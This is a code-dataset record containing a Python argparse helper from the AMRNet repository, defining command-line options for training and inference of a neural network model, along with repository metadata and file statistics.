0.111111

0

0.444444

0

null

0

1

0

null

0

1

0

2

46b430ceffc244986e1b0a3ab9f0c59e0b7629b0

5,533

py

Python

helpers/parser.py

yasahi-hpc/AMRNet

5858d464bdfe409a5ab50889104768dda3c70508

[ "MIT" ]

null

helpers/parser.py

yasahi-hpc/AMRNet

5858d464bdfe409a5ab50889104768dda3c70508

[ "MIT" ]

null

helpers/parser.py

yasahi-hpc/AMRNet

5858d464bdfe409a5ab50889104768dda3c70508

[ "MIT" ]

null

import argparse def parse(): parser = argparse.ArgumentParser(add_help=True) parser.add_argument('-data_dir', \ action='store', \ nargs='?', \ const=None, \ default='./dataset', \ type=str, \ choices=None, \ help='directory of datasets', \ metavar=None) parser.add_argument('--device', \ action='store', \ nargs='?', \ const=None, \ default='cuda', \ type=str, \ choices=None, \ help='Device to run the model', \ metavar=None) parser.add_argument('--dim', \ action='store', \ nargs='?', \ const=None, \ default=2, \ type=int, \ choices=None, \ help='Dimension of the model', \ metavar=None) parser.add_argument('--batch_size', \ action='store', \ nargs='?', \ const=None, \ default=25, \ type=int, \ choices=None, \ help='Batch size', \ metavar=None) parser.add_argument('--n_epochs', \ action='store', \ nargs='?', \ const=None, \ default=3, \ type=int, \ choices=None, \ help='Number of epochs', \ metavar=None) parser.add_argument('--run_number', \ action='store', \ nargs='?', \ const=None, \ default=0, \ type=int, \ choices=None, \ help='Run number', \ metavar=None) parser.add_argument('--padding_mode', \ action='store', \ nargs='?', \ const=None, \ default='reflect', \ type=str, \ choices=None, \ help='Padding type (default: reflect)', \ metavar=None) parser.add_argument('--preprocess_type', \ action='store', \ nargs='?', \ const=None, \ default='normalization', \ type=str, \ choices=None, \ help='Preprocess type (default: normalization)', \ metavar=None) parser.add_argument('--model_name', \ action='store', \ nargs='?', \ const=None, \ default='AMR_Net', \ type=str, \ choices=None, \ help='Name of the model (default: AMR_Net)', \ metavar=None) parser.add_argument('--lr', \ action='store', \ nargs='?', \ const=None, \ default=0.0002, \ type=float, \ choices=None, \ help='Learning rate', \ metavar=None) parser.add_argument('--beta_1', \ action='store', \ nargs='?', \ const=None, \ default=0.9, \ type=float, \ choices=None, \ help='beta_1 for Adam', \ metavar=None) parser.add_argument('--beta_2', \ action='store', \ nargs='?', \ const=None, \ default=0.999, \ type=float, \ choices=None, \ help='beta_2 for Adam', \ metavar=None) # Used for inference parser.add_argument('--inference_mode', \ action='store_true', \ default=False, \ help='train or inference') parser.add_argument('-state_file_dir', \ action='store', \ nargs='?', \ const=None, \ default='./', \ type=str, \ choices=None, \ help='directory storing torch state files', \ metavar=None) parser.add_argument('--load_nth_state_file', \ action='store', \ nargs='?', \ const=None, \ default=0, \ type=int, \ choices=None, \ help='nth state file to load', \ metavar=None) args = parser.parse_args() return args

39.521429

74

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0.656285

0.428652

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0

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5,533

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